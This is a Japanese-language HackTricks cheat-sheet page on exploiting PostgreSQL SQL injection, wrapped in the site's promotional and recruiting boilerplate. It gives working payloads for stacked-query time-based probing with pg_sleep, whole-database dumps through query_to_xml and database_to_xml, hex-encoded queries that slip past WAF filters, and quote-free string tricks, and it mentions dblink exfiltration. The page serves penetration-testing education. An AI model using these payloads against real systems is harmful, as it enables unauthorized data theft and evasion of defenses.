hacktricks/pentesting-web/sql-injection/postgresql-injection

PostgreSQLインジェクション

ゼロからヒーローまでAWSハッキングを学ぶ htARTE（HackTricks AWS Red Team Expert）！

HackTricksをサポートする他の方法：

• HackTricksで企業を宣伝したいまたはHackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください！
• 公式PEASS＆HackTricksグッズを入手する
• The PEASS Familyを発見し、独占的なNFTsのコレクション
• 💬 Discordグループに参加またはtelegramグループに参加またはTwitterでフォローする 🐦 @carlospolopm。
• HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。

ハッキングキャリアに興味がある方や解読不能なものをハックしたい方 - 採用中です！（流暢なポーランド語の読み書きが必要です）。

{% embed url="https://www.stmcyber.com/careers" %}

---

このページは、postgresqlデータベースで見つかったSQLインジェクションを悪用するのに役立つさまざまなトリックを説明することを目的としており、https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.mdで見つけることができるトリックを補完します

ネットワークインタラクション - 特権昇格、ポートスキャナー、NTLMチャレンジレスポンスの開示とエクスフィルトレーション

**PostgreSQLモジュール dblink**は、他のPostgreSQLインスタンスに接続してTCP接続を実行する機能を提供します。これらの機能は、COPY FROM機能と組み合わせることで、特権昇格、ポートスキャン、NTLMチャレンジレスポンスの取得などのアクションを可能にします。これらの攻撃を実行する詳細な方法については、これらの攻撃を実行する方法を確認してください。

dblinkと大規模オブジェクトを使用したエクスフィルトレーションの例

CTFの例を見るために、この例を読んでください。これは、大規模オブジェクト内にデータをロードし、その後dblink_connect関数のユーザー名内の大規模オブジェクトの内容をエクスフィルトレートする方法の例です。

PostgreSQL攻撃：読み書き、RCE、特権昇格

PostgreSQLからホストを侵害し、特権を昇格させる方法については、以下をチェックしてください：

{% content-ref url="../../../network-services-pentesting/pentesting-postgresql.md" %} pentesting-postgresql.md {% endcontent-ref %}

WAFバイパス

PostgreSQL文字列関数

文字列を操作することで、WAFをバイパスしたり、他の制限を回避するのに役立つ場合があります。
このページで、いくつかの便利な文字列関数を見つけることができます。

スタックされたクエリ

PostgreSQLはスタックされたクエリをサポートしていますが、1つの応答が期待されているときに2つの応答が返されると、いくつかのアプリケーションはエラーをスローする可能性があります。ただし、タイムインジェクションを介してスタックされたクエリを悪用することができます。

id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -

XMLトリック

query_to_xml

この関数は、1つのファイルでXML形式のすべてのデータを返します。たくさんのデータを1行にダンプしたい場合に最適です。

SELECT query_to_xml('select * from pg_user',true,true,'');

database_to_xml

この関数は、データベース全体をXML形式で1行にダンプします（データベースが非常に大きい場合は、DoS攻撃をしたり、クライアント自体を攻撃する可能性があるため注意してください）:

SELECT database_to_xml(true,true,'');

16進数の文字列

もしクエリを文字列内で実行できる場合（たとえば**query_to_xml関数を使用する場合）。convert_fromを使用して文字列を16進数として渡し、この方法でフィルタをバイパスすることができます:**

select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');

# Bypass via stacked queries + error based + query_to_xml with hex
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h

# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -

{% endcode %}

禁止された引用符

引用符を使用できない場合は、基本的な句をCHRでバイパスすることができます（文字連結はSELECT、INSERT、DELETEなどの基本的なクエリにのみ適用されます。すべてのSQLステートメントには適用されません）:

SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);

または$を使用しても同じ結果が返されます：

SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;

興味がある場合は、ハッキングキャリアに興味があり、ハッキングできないものをハックしたい場合は - 採用中です！（流暢なポーランド語の読み書きが必要です）。

{% embed url="https://www.stmcyber.com/careers" %}

htARTE（HackTricks AWS Red Team Expert）で**ゼロからヒーローまでのAWSハッキング**を学びましょう！

HackTricksをサポートする他の方法：

• HackTricksで企業を宣伝したい場合やHackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください！
• 公式PEASS＆HackTricksスワッグを入手する
• The PEASS Familyを発見し、独占的なNFTsのコレクションを見つける
• **💬 Discordグループに参加するか、telegramグループに参加するか、Twitter 🐦 @carlospolopmをフォローしてください。
• ハッキングトリックを共有するために、HackTricksとHackTricks CloudのGitHubリポジトリにPRを提出してください。